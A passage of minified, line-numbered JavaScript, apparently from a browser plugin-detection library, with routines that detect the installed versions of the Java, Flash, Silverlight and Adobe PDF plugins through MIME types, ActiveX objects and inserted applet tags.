  693.         classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  694.         classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",
  695.         navigator: {
  696.             init: function() {
  697.                 var b = k;
  698.                 try {
  699.                     this.a = window.navigator.javaEnabled()
  700.                 } catch (c) {}
  701.                 if (this.mimeObj = a.hasMimeType(b.mimeType)) this.pluginObj = this.mimeObj.enabledPlugin
  702.             },
  703.             a: !0,
  704.             javaEnabled: function() {
  705.                 return this.a
  706.             },
  707.             mimeObj: 0,
  708.             pluginObj: 0
  709.         },
  710.         OTF: null,
  711.         getVerifyTagsDefault: function() {
  712.             return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
  713.         },
  714.         getVersion: function(b, c, d) {
  715.             var e = this.applet,
  716.                 f = this.verify,
  717.                 g = this.navigator,
  718.                 h = null,
  719.                 l = null,
  720.                 k = null;
  721.             null === this.getVersionDone && (this.OTF = 0, g.init(), f && f.init());
  722.             e.setVerifyTagsArray(d);
  723.             a.file.save(this, ".jar", c);
  724.             0 === this.getVersionDone ? e.should_Insert_Query_Any() && (c = e.insert_Query_Any(b), this.setPluginStatus(c[0], c[1], h, b)) : (h && !a.dbug || !this.navMime.query().version || (h = this.navMime.version), h && !a.dbug || !this.navPlugin.query().version || (h = this.navPlugin.version), h && !a.dbug || !this.DTK.query().version || (h = this.DTK.version), this.nonAppletDetectionOk(h) && (k = h), this.setPluginStatus(k, l, h, b), e.should_Insert_Query_Any() && (c = e.insert_Query_Any(b), c[0] && (k = c[0], l = c[1])), this.setPluginStatus(k, l, h, b))
  725.         },
  726.         nonAppletDetectionOk: function(b) {
  727.             var c = this.navigator,
  728.                 d = a.browser,
  729.                 e = 1;
  730.             if (!b || !c.javaEnabled() || !d.isIE && !c.mimeObj || d.isIE && !d.ActiveXEnabled) e = 0;
  731.             return e
  732.         },
  733.         setPluginStatus: function(b, c, d, e) {
  734.             var f, g = 0,
  735.                 h = this.applet;
  736.             d = d || this.version0;
  737.             if (f = h.isRange(b)) h.setRange(f, e) == b && (g = f), b = 0;
  738.             3 > this.OTF && (this.installed = g ? 0 < g ? 0.7 : -0.1 : b ? 1 : d ? -0.2 : -1);
  739.             2 == this.OTF && this.NOTF && !this.applet.getResult()[0] && (this.installed = d ? -0.2 : -1);
  740.             3 == this.OTF && -0.5 != this.installed && 0.5 != this.installed && (this.installed = 1 <= this.NOTF.isJavaActive(1) ? 0.5 : -0.5);
  741.             4 != this.OTF || -0.5 != this.installed && 0.5 != this.installed || (b ? this.installed = 1 : g ? this.installed = 0 < g ? 0.7 : -0.1 : 1 <= this.NOTF.isJavaActive(1) ? d ? (this.installed = 1, b = d) : this.installed = 0 : this.installed = d ? -0.2 : -1);
  742.             d && (this.version0 = a.formatNum(a.getNum(d)));
  743.             b && !g && (this.version = a.formatNum(a.getNum(b)));
  744.             c && a.isString(c) && (this.vendor = c);
  745.             this.vendor || (this.vendor = "");
  746.             this.verify && this.verify.isEnabled() ? this.getVersionDone = 0 : 1 != this.getVersionDone && (this.getVersionDone = 2 > this.OTF ? 0 : this.applet.can_Insert_Query_Any() ? 0 : 1);
  747.             a.codebase.emptyGarbage();
  748.         },
  749.         DTK: {
  750.             hasRun: 0,
  751.             status: null,
  752.             VERSIONS: [],
  753.             version: "",
  754.             HTML: null,
  755.             Plugin2Status: null,
  756.             classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  757.             mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  758.             isDisabled: function(b) {
  759.                 return this.HTML ? 1 : b || a.dbug ? 0 : this.hasRun || !a.DOM.isEnabled.objectTagUsingActiveX() ? 1 : 0
  760.             },
  761.             query: function(b) {
  762.                 var c = k,
  763.                     d, e, f = a.DOM.altHTML,
  764.                     g, h = null,
  765.                     l = null;
  766.                 b = this.isDisabled(b);
  767.                 this.hasRun = 1;
  768.                 if (b) return this;
  769.                 this.status = 0;
  770.                 if (a.DOM.isEnabled.objectTagUsingActiveX())
  771.                     for (d = 0; d < this.classID.length; d++) {
  772.                         this.HTML = a.DOM.insert("object", ["classid", this.classID[d]], [], f);
  773.                         h = this.HTML.obj();
  774.                         if (a.pd.getPROP(h, "jvms")) break;
  775.                     } else(e = a.hasMimeType(this.mimeType)) && e.type && (this.HTML = a.DOM.insert("object", ["type", e.type], [], f), h = this.HTML.obj());
  776.                 if (h) {
  777.                     try {
  778.                         if (g = a.pd.getPROP(h, "jvms"))
  779.                             if (l = g.getLength(), a.isNum(l))
  780.                                 for (this.status = 0 < l ? 1 : -1, d = 0; d < l; d++)
  781.                                     if (e = a.getNum(g.get(l - 1 - d).version)) this.VERSIONS.push(e), a.formatNum(e)
  782.                     } catch (p) {}
  783.                     this.VERSIONS.length && (this.version = a.formatNum(this.VERSIONS[0]))
  784.                 }
  785.                 return this
  786.             }
  787.         },
  788.         navMime: {
  789.             hasRun: 0,
  790.             mimetype: "",
  791.             version: "",
  792.             mimeObj: 0,
  793.             pluginObj: 0,
  794.             regexJPI: /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  795.             isDisabled: function() {
  796.                 var a = k;
  797.                 return this.hasRun || !a.navigator.mimeObj ? 1 : 0
  798.             },
  799.             update: function(b) {
  800.                 var c = b ? b.enabledPlugin : 0,
  801.                     d = b && this.regexJPI.test(b.type || "") ? a.formatNum(a.getNum(RegExp.$1)) : 0;
  802.                 d && c && (c.description || c.name) && (0 < a.compareNums(d, this.version || a.formatNum("0")) && (this.version = d, this.mimeObj = b, this.pluginObj = c, this.mimetype = b.type))
  803.             },
  804.             query: function() {
  805.                 var b = k,
  806.                     c, d, e, f, g, h = navigator.mimeTypes;
  807.                 c = this.isDisabled();
  808.                 this.hasRun = 1;
  809.                 if (c) return this;
  810.                 g = h.length;
  811.                 if (a.isNum(g))
  812.                     for (c = 0; c < g; c++) {
  813.                         d = 0;
  814.                         try {
  815.                             d = h[c]
  816.                         } catch (l) {}
  817.                         this.update(d)
  818.                     }
  819.                 if (!this.version || a.dbug)
  820.                     for (f = a.isArray(b.mimeType) ? b.mimeType : [b.mimeType], c = 0; c < f.length; c++) {
  821.                         d = 0;
  822.                         try {
  823.                             d = h[f[c]]
  824.                         } catch (n) {}
  825.                         g = (e = d ? d.enabledPlugin : 0) ? e.length : null;
  826.                         if (a.isNum(g))
  827.                             for (b = 0; b < g; b++) {
  828.                                 d = 0;
  829.                                 try {
  830.                                     d = e[b]
  831.                                 } catch (p) {}
  832.                                 this.update(d)
  833.                             }
  834.                     }
  835.                 return this
  836.             }
  837.         },
  838.         navPlugin: {
  839.             hasRun: 0,
  840.             version: "",
  841.             getPlatformNum: function() {
  842.                 var b = 0,
  843.                     c = /Java.*TM.*Platform[^\d]*(\d+)[\.,_]?(\d*)\s*U?(?:pdate)?\s*(\d*)/i,
  844.                     d = a.pd.findNavPlugin({
  845.                         find: c,
  846.                         mimes: k.mimeType,
  847.                         plugins: 1
  848.                     });
  849.                 d && (c.test(d.name || "") || c.test(d.description || "")) && 5 <= parseInt(RegExp.$1, 10) && (b = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0"));
  850.                 return b
  851.             },
  852.             getPluginNum: function() {
  853.                 var b = k,
  854.                     c = 0,
  855.                     d, e;
  856.                 d = /Java[^\d]*Plug-in/i;
  857.                 if (e = a.pd.findNavPlugin({
  858.                     find: d,
  859.                     num: 1,
  860.                     mimes: b.mimeType,
  861.                     plugins: 1,
  862.                     dbug: 0
  863.                 })) c = this.checkPluginNum(e.description, d), d = this.checkPluginNum(e.name, d), c = c && d ? 0 < a.compareNums(c, d) ? c : d : c || d;
  864.                 !c && (d = /Java.*\d.*Plug-in/i, e = a.pd.findNavPlugin({
  865.                     find: d,
  866.                     mimes: b.mimeType,
  867.                     plugins: 1,
  868.                     dbug: 0
  869.                 })) && (c = this.checkPluginNum(e.description, d), d = this.checkPluginNum(e.name, d), c = c && d ? 0 < a.compareNums(c, d) ? c : d : c || d);
  870.                 return c
  871.             },
  872.             checkPluginNum: function(b, c) {
  873.                 var d;
  874.                 (d = c.test(b) ? a.formatNum(a.getNum(b)) : 0) && 0 <= a.compareNums(d, a.formatNum("10")) && (d = d.split(a.splitNumRegx), d = a.formatNum("1," + (parseInt(d[0], 10) - 3) + ",0," + d[1]));
  875.                 d && (0 > a.compareNums(d, a.formatNum("1,3")) || 0 <= a.compareNums(d, a.formatNum("2"))) && (d = 0);
  876.                 return d
  877.             },
  878.             query: function() {
  879.                 var b = k,
  880.                     c = 0,
  881.                     b = this.hasRun || !b.navigator.mimeObj;
  882.                 this.hasRun = 1;
  883.                 if (b) return this;
  884.                 (!c || a.dbug) && (b = this.getPlatformNum()) && (c = b);
  885.                 (!c || a.dbug) && (b = this.getPluginNum()) && (c = b);
  886.                 c && (this.version = a.formatNum(c));
  887.                 return this
  888.             }
  889.         },
  890.         applet: {
  891.             codebase: {
  892.                 isMin: function(b) {
  893.                     this.$$ = k;
  894.                     return a.codebase.isMin(this, b)
  895.                 },
  896.                 search: function() {
  897.                     this.$$ = k;
  898.                     return a.codebase.search(this)
  899.                 },
  900.                 DIGITMAX: [
  901.                     [15, 128],
  902.                     [6, 0, 512], 0, [1, 5, 2, 256], 0, [1, 4, 1, 1],
  903.                     [1, 4, 0, 64],
  904.                     [1, 3, 2, 32]
  905.                 ],
  906.                 DIGITMIN: [1, 0, 0, 0],
  907.                 Upper: "999 10 5,0,20 1,5,0,20 1,4,1,20 1,4,1,2 1,4,1 1,4".split(" "),
  908.                 Lower: "10 5,0,20 1,5,0,20 1,4,1,20 1,4,1,2 1,4,1 1,4 0".split(" "),
  909.                 convert: [
  910.                     function(a, c) {
  911.                         return c ? [1 < parseInt(a[0], 10) ? "99" : parseInt(a[1], 10) + 3 + "", a[3], "0", "0"] : ["1", parseInt(a[0], 10) - 3 + "", "0", a[1]]
  912.                     },
  913.                     function(a, c) {
  914.                         return c ? [a[1], a[2], a[3] + "0", "0"] : ["1", a[0], a[1], a[2].substring(0, a[2].length - 1 || 1)]
  915.                     },
  916.                     0,
  917.                     function(a, c) {
  918.                         return c ? [a[0], a[1], a[2], a[3] + "0"] : [a[0], a[1], a[2], a[3].substring(0, a[3].length - 1 || 1)]
  919.                     },
  920.                     0, 1,
  921.                     function(a, c) {
  922.                         return c ? [a[0], a[1], a[2], a[3] + "0"] : [a[0], a[1], a[2], a[3].substring(0, a[3].length - 1 || 1)]
  923.                     },
  924.                     1
  925.                 ]
  926.             },
  927.             results: [
  928.                 [null, null],
  929.                 [null, null],
  930.                 [null, null],
  931.                 [null, null]
  932.             ],
  933.             getResult: function() {
  934.                 var a = this.results,
  935.                     c, d = [];
  936.                 for (c = a.length - 1; 0 <= c && (d = a[c], !d[0]); c--);
  937.                 return d = [].concat(d)
  938.             },
  939.             DummySpanTagHTML: 0,
  940.             HTML: [0, 0, 0, 0],
  941.             active: [0, 0, 0, 0],
  942.             DummyObjTagHTML: 0,
  943.             DummyObjTagHTML2: 0,
  944.             allowed: [1, 1, 1, 1],
  945.             VerifyTagsHas: function(a) {
  946.                 var c;
  947.                 for (c = 0; c < this.allowed.length; c++)
  948.                     if (this.allowed[c] === a) return 1;
  949.                 return 0
  950.             },
  951.             saveAsVerifyTagsArray: function(b) {
  952.                 var c;
  953.                 if (a.isArray(b)) {
  954.                     for (c = 1; c < this.allowed.length; c++) b.length > c - 1 && a.isNum(b[c - 1]) && (0 > b[c - 1] && (b[c - 1] = 0), 3 < b[c - 1] && (b[c - 1] = 3), this.allowed[c] = b[c - 1]);
  955.                     this.allowed[0] = this.allowed[3];
  956.                 }
  957.             },
  958.             setVerifyTagsArray: function(b) {
  959.                 var c = k;
  960.                 null === c.getVersionDone && this.saveAsVerifyTagsArray(c.getVerifyTagsDefault());
  961.                 a.dbug ? this.saveAsVerifyTagsArray([3, 3, 3]) : b && this.saveAsVerifyTagsArray(b)
  962.             },
  963.             isDisabled: {
  964.                 single: function(b) {
  965.                     if (this.all()) return 1;
  966.                     if (0 == b) return a.codebase.isDisabled();
  967.                     if (1 == b) return !a.DOM.isEnabled.objectTag();
  968.                     if (2 == b) return this.AppletTag();
  969.                     if (3 == b) return !a.DOM.isEnabled.objectTagUsingActiveX()
  970.                 },
  971.                 all_: null,
  972.                 all: function() {
  973.                     var b = k.navigator,
  974.                         c = a.browser;
  975.                     null === this.all_ && (b = c.isOpera && 0 > a.compareNums(c.verOpera, "13,0,0,0") && !b.javaEnabled() || this.AppletTag() && !a.DOM.isEnabled.objectTag() || !b.mimeObj && !c.isIE ? 1 : 0, this.all_ = b);
  976.                     return this.all_
  977.                 },
  978.                 AppletTag: function() {
  979.                     var b = k.navigator;
  980.                     return a.browser.isIE ? !b.javaEnabled() : 0
  981.                 },
  982.                 VerifyTagsDefault_1: function() {
  983.                     var b = a.browser;
  984.                     return b.isIE && (9 > b.verIE || !b.ActiveXEnabled) || b.verGecko && 0 > a.compareNums(b.verGecko, a.formatNum("2")) || b.isSafari && (!b.verSafari || 0 > a.compareNums(b.verSafari, a.formatNum("4"))) || b.isOpera && 0 > a.compareNums(b.verOpera, a.formatNum("11")) ? 0 : 1
  985.                 }
  986.             },
  987.             can_Insert_Query: function(a) {
  988.                 var c = this.results[0][0],
  989.                     d = this.getResult()[0];
  990.                 return this.HTML[a] || 0 == a && null !== c && !this.isRange(c) || 0 == a && d && !this.isRange(d) ? 0 : !this.isDisabled.single(a)
  991.             },
  992.             can_Insert_Query_Any: function() {
  993.                 var a;
  994.                 for (a = 0; a < this.results.length; a++)
  995.                     if (this.can_Insert_Query(a)) return 1;
  996.                 return 0
  997.             },
  998.             should_Insert_Query: function(a) {
  999.                 var c = this.allowed,
  1000.                     d = k,
  1001.                     e = this.getResult()[0],
  1002.                     e = e && (0 < a || !this.isRange(e));
  1003.                 return this.can_Insert_Query(a) && 0 !== c[a] ? 3 == c[a] || 2.8 == c[a] && !e || !d.nonAppletDetectionOk(d.version0) && (2 == c[a] || 1 == c[a] && !e) ? 1 : 0 : 0
  1004.             },
  1005.             should_Insert_Query_Any: function() {
  1006.                 var a;
  1007.                 for (a = 0; a < this.allowed.length; a++)
  1008.                     if (this.should_Insert_Query(a)) return 1;
  1009.                 return 0
  1010.             },
  1011.             query: function(b) {
  1012.                 var c = k,
  1013.                     d = null,
  1014.                     e = null,
  1015.                     f = this.results,
  1016.                     g, h = this.HTML[b];
  1017.                 if (h && h.obj() && !(f[b][0] || c.bridgeDisabled || a.dbug && 3 > c.OTF)) {
  1018.                     c = h.obj();
  1019.                     g = h.readyState();
  1020.                     try {
  1021.                         d = a.getNum(c.getVersion() + ""), e = c.getVendor() + "", c.statusbar(" ")
  1022.                     } catch (l) {}
  1023.                     d && a.isStrNum(d) && (f[b] = [d, e], this.active[b] = 2);
  1024.                 }
  1025.             },
  1026.             isRange: function(a) {
  1027.                 return /^[<>]/.test(a || "") ? ">" == a.charAt(0) ? 1 : -1 : 0
  1028.             },
  1029.             setRange: function(b, c) {
  1030.                 return (b ? 0 < b ? ">" : "<" : "") + (a.isString(c) ? c : "")
  1031.             },
  1032.             insertJavaTag: function(b, c, d, e, f) {
  1033.                 var g = k,
  1034.                     h = a.file.getValid(g),
  1035.                     l = h.path,
  1036.                     h = ["archive", h.name + h.ext, "code", "A.class"];
  1037.                 e = (e ? ["width", e] : []).concat(f ? ["height", f] : []);
  1038.                 f = ["mayscript", "true"];
  1039.                 var n = ["scriptable", "true", "codebase_lookup", "false"].concat(f),
  1040.                     p = g.navigator,
  1041.                     p = !a.browser.isIE && p.mimeObj && p.mimeObj.type ? p.mimeObj.type : g.mimeType[0];
  1042.                 if (1 == b) return a.DOM.insert("object", ["type", p].concat(e), ["codebase", l].concat(h).concat(n), d, g, 0, c);
  1043.                 if (2 == b) return a.browser.isIE ? a.DOM.insert("applet", ["alt", d].concat(f).concat(h).concat(e), ["codebase", l].concat(n), d, g, 0, c) : a.DOM.insert("applet", ["codebase", l, "alt", d].concat(f).concat(h).concat(e), [].concat(n), d, g, 0, c);
  1044.                 if (3 == b) return a.browser.isIE ? a.DOM.insert("object", ["classid", g.classID].concat(e), ["codebase", l].concat(h).concat(n), d, g, 0, c) : a.DOM.insert();
  1045.                 if (4 == b) return a.DOM.insert("embed", ["codebase", l].concat(h).concat(["type", p]).concat(n).concat(e), [], d, g, 0, c)
  1046.             },
  1047.             insert_Query_Any: function(b) {
  1048.                 var c = k,
  1049.                     d = this.results,
  1050.                     e = this.HTML,
  1051.                     f = a.DOM.altHTML,
  1052.                     g, h = a.file.getValid(c);
  1053.                 this.should_Insert_Query(0) && (2 > c.OTF && (c.OTF = 2), d[0] = [0, 0], (g = b ? this.codebase.isMin(b) : this.codebase.search()) && (d[0][0] = b ? this.setRange(g, b) : g), this.active[0] = g ? 1.5 : -1);
  1054.                 if (!h) return this.getResult();
  1055.                 this.DummySpanTagHTML || (this.DummySpanTagHTML = a.DOM.insert("", [], [], f));
  1056.                 this.should_Insert_Query(1) && (2 > c.OTF && (c.OTF = 2), e[1] = this.insertJavaTag(1, 0, f), d[1] = [0, 0], this.query(1));
  1057.                 this.should_Insert_Query(2) && (2 > c.OTF && (c.OTF = 2), e[2] = this.insertJavaTag(2, 0, f), d[2] = [0, 0], this.query(2));
  1058.                 this.should_Insert_Query(3) && (2 > c.OTF && (c.OTF = 2), e[3] = this.insertJavaTag(3, 0, f), d[3] = [0, 0], this.query(3));
  1059.                 a.DOM.isEnabled.objectTag() && (this.DummyObjTagHTML || !e[1] && !e[2] || (this.DummyObjTagHTML = a.DOM.insert("object", ["type", c.mimeType_dummy], [], f)), !this.DummyObjTagHTML2 && e[3] && (this.DummyObjTagHTML2 = a.DOM.insert("object", ["classid", c.classID_dummy], [], f)));
  1060.                 c.NOTF.init();
  1061.                 return this.getResult()
  1062.             }
  1063.         },
  1064.         NOTF: {
  1065.             count: 0,
  1066.             countMax: 25,
  1067.             intervalLength: 250,
  1068.             init: function() {
  1069.                 var b = k;
  1070.                 3 > b.OTF && this.shouldContinueQuery() && (b.OTF = 3, this.onIntervalQuery = a.ev.handler(this.$$onIntervalQuery, this), a.win.loaded || a.win.loadPrvtHndlrs.push([this.onWinLoadQuery, this]), setTimeout(this.onIntervalQuery, this.intervalLength))
  1071.             },
  1072.             shouldContinueQuery: function() {
  1073.                 var b = k.applet,
  1074.                     c, d = 0;
  1075.                 if (a.win.loaded && this.count > this.countMax) return 0;
  1076.                 for (c = 0; c < b.results.length; c++)
  1077.                     if (b.HTML[c] && (!a.win.loaded && this.count > this.countMax && a.codebase.pluginMayBeHanging(b.HTML[c].span) && (d = 1, b.HTML[c].DELETE = 1), !d && !b.results[c][0] && (2 <= b.allowed[c] || 1 == b.allowed[c] && !b.getResult()[0]) && 0 <= this.isAppletActive(c))) return 1;
  1078.                 return 0
  1079.             },
  1080.             isJavaActive: function(a) {
  1081.                 var c = k,
  1082.                     d, e, f = -9;
  1083.                 for (d = 0; d < c.applet.HTML.length; d++) e = this.isAppletActive(d, a), e > f && (f = e);
  1084.                 return f
  1085.             },
  1086.             isAppletActive: function(b, c) {
  1087.                 var d = k,
  1088.                     e = d.navigator,
  1089.                     f = d.applet,
  1090.                     g = f.HTML[b],
  1091.                     h = f.active,
  1092.                     l = 0,
  1093.                     n;
  1094.                 n = h[b];
  1095.                 if (c || 1.5 <= n || !g || !g.span) return n;
  1096.                 n = a.DOM.getTagStatus(g, f.DummySpanTagHTML, f.DummyObjTagHTML, f.DummyObjTagHTML2, this.count);
  1097.                 for (f = 0; f < h.length; f++) 0 < h[f] && (l = 1);
  1098.                 n = 1 != n ? n : a.browser.isIE || d.version0 && e.javaEnabled() && e.mimeObj && ("object" == g.tagName || l) ? 1 : 0;
  1099.                 return h[b] = n
  1100.             },
  1101.             onWinLoadQuery: function(a, c) {
  1102.                 var d;
  1103.                 3 == k.OTF && (d = c.queryAllApplets(), c.queryCompleted(d))
  1104.             },
  1105.             $$onIntervalQuery: function(a) {
  1106.                 var c = k,
  1107.                     d;
  1108.                 3 == c.OTF && (d = a.queryAllApplets(), a.shouldContinueQuery() || a.queryCompleted(d));
  1109.                 a.count++;
  1110.                 3 == c.OTF && setTimeout(a.onIntervalQuery, a.intervalLength)
  1111.             },
  1112.             queryAllApplets: function() {
  1113.                 var b = k.applet,
  1114.                     c;
  1115.                 for (c = 0; c < b.results.length; c++) b.query(c);
  1116.                 b = b.getResult();
  1117.                 return b
  1118.             },
  1119.             queryCompleted: function(b) {
  1120.                 var c = k,
  1121.                     d = c.applet,
  1122.                     e;
  1123.                 if (!(4 <= c.OTF)) {
  1124.                     c.OTF = 4;
  1125.                     this.isJavaActive();
  1126.                     for (e = 0; e < d.HTML.length; e++) d.HTML[e] && d.HTML[e].DELETE && (a.DOM.emptyNode(d.HTML[e].span), d.HTML[e].span = null);
  1127.                     c.setPluginStatus(b[0], b[1], 0);
  1128.                     a.onDetectionDone && c.DoneHndlrs && (a.ev.callArray(c.DoneHndlrs))
  1129.                 }
  1130.             }
  1131.         },
  1132.         zz: 0
  1133.     };
  1134.     a.addPlugin("java", k);
  1135.     var t = {
  1136.         mimeType: "application/x-shockwave-flash",
  1137.         setPluginStatus: function(b, c) {
  1138.             this.installed = c ? 1 : b ? 0 : -1;
  1139.             this.version = a.formatNum(c);
  1140.             this.getVersionDone = -1 == this.installed || this.axo.version || this.instance.version ? 1 : 0
  1141.         },
  1142.         getVersion: function(b, c) {
  1143.             var d = null,
  1144.                 e = 0;
  1145.             e && !a.dbug || !this.navPlugin.query().installed || (e = 1);
  1146.             d && !a.dbug || !this.navPlugin.query().version || (d = this.navPlugin.version);
  1147.             e && !a.dbug || !this.axo.query().installed || (e = 1);
  1148.             d && !a.dbug || !this.axo.query().version || (d = this.axo.version);
  1149.             (!e && !d || c || a.dbug) && this.instance.query().version && (e = 1, d = this.instance.version);
  1150.             this.setPluginStatus(e, d)
  1151.         },
  1152.         navPlugin: {
  1153.             hasRun: 0,
  1154.             installed: 0,
  1155.             version: null,
  1156.             getNum: function(a) {
  1157.                 return a ? (a = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(a)) ? a[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null : null
  1158.             },
  1159.             query: function() {
  1160.                 var b = t,
  1161.                     c, d = this.hasRun || !a.hasMimeType(b.mimeType);
  1162.                 this.hasRun = 1;
  1163.                 if (d) return this;
  1164.                 if (b = a.pd.findNavPlugin({
  1165.                     find: "Shockwave.*Flash",
  1166.                     mimes: b.mimeType,
  1167.                     plugins: ["Shockwave Flash"]
  1168.                 })) this.installed = 1, b.description && (c = this.getNum(b.description));
  1169.                 c && (c = a.getPluginFileVersion(b, c));
  1170.                 c && (this.version = c);
  1171.                 return this
  1172.             }
  1173.         },
  1174.         axo: {
  1175.             hasRun: 0,
  1176.             installed: 0,
  1177.             version: null,
  1178.             progID: "ShockwaveFlash.ShockwaveFlash",
  1179.             classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  1180.             query: function() {
  1181.                 var b, c, d;
  1182.                 b = this.hasRun;
  1183.                 this.hasRun = 1;
  1184.                 if (b) return this;
  1185.                 for (c = 0; 10 > c; c++)
  1186.                     if (d = a.getAXO(this.progID + (c ? "." + c : ""))) {
  1187.                         this.installed = 1;
  1188.                         b = 0;
  1189.                         try {
  1190.                             b = a.getNum(d.GetVariable("$version") + "")
  1191.                         } catch (e) {}
  1192.                         if (b && (this.version = b, !a.dbug)) break
  1193.                     }
  1194.                 return this
  1195.             }
  1196.         },
  1197.         instance: {
  1198.             hasRun: 0,
  1199.             version: null,
  1200.             HTML: null,
  1201.             isEnabled: function() {
  1202.                 var b = t,
  1203.                     c = 1;
  1204.                 if (this.hasRun || a.DOM.isEnabled.objectTagUsingActiveX() || !a.hasMimeType(b.mimeType)) c = 0;
  1205.                 return c
  1206.             },
  1207.             query: function() {
  1208.                 var b = t,
  1209.                     c = this.isEnabled();
  1210.                 this.hasRun = 1;
  1211.                 if (c) {
  1212.                     this.HTML = a.DOM.insert("object", ["type", b.mimeType], ["play", "false", "menu", "false"], "", b);
  1213.                     try {
  1214.                         this.version = a.getNum(this.HTML.obj().GetVariable("$version") + "")
  1215.                     } catch (d) {}
  1216.                 }
  1217.                 return this
  1218.             }
  1219.         }
  1220.     };
  1221.     a.addPlugin("flash", t);
  1222.     a.addPlugin("silverlight", {
  1223.         getVersion: function() {
  1224.             var b = null,
  1225.                 c = 0;
  1226.             c && !a.dbug || !this.nav.query().installed || (c = 1);
  1227.             b && !a.dbug || !this.nav.query().version || (b = this.nav.version);
  1228.             c && !a.dbug || !this.axo.query().installed || (c = 1);
  1229.             b && !a.dbug || !this.axo.query().version || (b = this.axo.version);
  1230.             this.version = a.formatNum(b);
  1231.             this.installed = b ? 1 : c ? 0 : -1
  1232.         },
  1233.         nav: {
  1234.             hasRun: 0,
  1235.             installed: 0,
  1236.             version: null,
  1237.             mimeType: ["application/x-silverlight", "application/x-silverlight-2"],
  1238.             query: function() {
  1239.                 var b, c;
  1240.                 c = this.hasRun || !a.hasMimeType(this.mimeType);
  1241.                 this.hasRun = 1;
  1242.                 if (c) return this;
  1243.                 if (c = a.pd.findNavPlugin({
  1244.                     find: "Silverlight.*Plug-?in",
  1245.                     mimes: this.mimeType,
  1246.                     plugins: "Silverlight Plug-In"
  1247.                 })) this.installed = 1;
  1248.                 c && c.description && (b = a.formatNum(a.getNum(c.description + "")));
  1249.                 b && (b = b.split(a.splitNumRegx), 2 > parseInt(b[0], 10) && 30226 <= parseInt(b[2], 10) && (b[0] = "2"), b = b.join(","));
  1250.                 b && (this.version = b);
  1251.                 return this
  1252.             }
  1253.         },
  1254.         axo: {
  1255.             hasRun: 0,
  1256.             installed: 0,
  1257.             version: null,
  1258.             progID: "AgControl.AgControl",
  1259.             maxdigit: [20, 10, 10, 100, 100, 10],
  1260.             mindigit: [0, 0, 0, 0, 0, 0],
  1261.             IsVersionSupported: function(b, c) {
  1262.                 try {
  1263.                     return this.testVersion ? 0 <= a.compareNums(a.formatNum(this.testVersion.join(",")), a.formatNum(c.join(","))) : b.IsVersionSupported(this.format(c))
  1264.                 } catch (d) {}
  1265.                 return 0
  1266.             },
  1267.             format: function(a) {
  1268.                 return a[0] + "." + a[1] + "." + a[2] + this.make2digits(a[3]) + this.make2digits(a[4]) + "." + a[5]
  1269.             },
  1270.             make2digits: function(a) {
  1271.                 return (10 > a ? "0" : "") + a + ""
  1272.             },
  1273.             query: function() {
  1274.                 var b, c;
  1275.                 b = this.hasRun;
  1276.                 this.hasRun = 1;
  1277.                 if (b) return this;
  1278.                 if (c = a.getAXO(this.progID)) this.installed = 1;
  1279.                 if (c && this.IsVersionSupported(c, this.mindigit)) {
  1280.                     var d = [].concat(this.mindigit),
  1281.                         e, f = 0;
  1282.                     for (b = 0; b < this.maxdigit.length; b++) {
  1283.                         for (e = 0; 1 < this.maxdigit[b] - this.mindigit[b] && 20 > e;) e++, f++, d[b] = Math.round((this.maxdigit[b] + this.mindigit[b]) / 2), this.IsVersionSupported(c, d) ? this.mindigit[b] = d[b] : this.maxdigit[b] = d[b];
  1284.                         d[b] = this.mindigit[b]
  1285.                     }
  1286.                     this.version = this.format(d);
  1287.                 }
  1288.                 return this
  1289.             }
  1290.         }
  1291.     });
  1292.     var y = {
  1293.         setPluginStatus: function() {
  1294.             var b = this.nav.detected,
  1295.                 c = this.axo.detected,
  1296.                 d = this.axo.version,
  1297.                 e = this.doc.detected,
  1298.                 f = this.doc.version,
  1299.                 d = this.nav.version || d || f || null;
  1300.             this.installed = d ? 1 : 0 < b || 0 < c || 0 < e ? 0 : -0.5 == e ? -0.15 : !a.browser.isIE || a.browser.ActiveXEnabled && !a.browser.ActiveXFilteringEnabled ? -1 : -1.5;
  1301.             this.version = a.formatNum(d);
  1302.         },
  1303.         getVersion: function(b, c) {
  1304.             var d = 0;
  1305.             (!d || a.dbug) && 0 < this.nav.query().detected && (d = 1);
  1306.             (!d || a.dbug) && 0 < this.axo.query().detected && (d = 1);
  1307.             d && !a.dbug || this.doc.query();
  1308.             this.setPluginStatus()
  1309.         },
  1310.         nav: {
  1311.             detected: 0,
  1312.             version: null,
  1313.             mimeType: ["application/pdf", "application/vnd.adobe.pdfxml"],
  1314.             find: "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in",
  1315.             plugins: ["Adobe Acrobat", "Adobe Acrobat and Reader Plug-in", "Adobe Reader Plugin"],
  1316.             query: function() {
  1317.                 var b, c = null;
  1318.                 if (this.detected || !a.hasMimeType(this.mimeType)) return this;
  1319.                 this.detected = (b = a.pd.findNavPlugin({
  1320.                     find: this.find,
  1321.                     mimes: this.mimeType,
  1322.                     plugins: this.plugins
  1323.                 })) ? 1 : -1;
  1324.                 b && (c = a.getNum(b.description) || a.getNum(b.name), c = a.getPluginFileVersion(b, c), c || (c = this.attempt3()), c && (this.version = c));
  1325.                 return this
  1326.             },
  1327.             attempt3: function() {
  1328.                 var b = null;
  1329.                 1 == a.OS && (a.hasMimeType("application/vnd.adobe.pdfxml") ? b = "9" : a.hasMimeType("application/vnd.adobe.x-mars") ? b = "8" : a.hasMimeType("application/vnd.adobe.xfdf") && (b = "6"));
  1330.                 return b
  1331.             }
  1332.         },
  1333.         pluginQuery: function(b) {
  1334.             var c = "",
  1335.                 d = null,
  1336.                 e, f;
  1337.             try {
  1338.                 b && (c = b.GetVersions())
  1339.             } catch (g) {}
  1340.             if (c && a.isString(c))
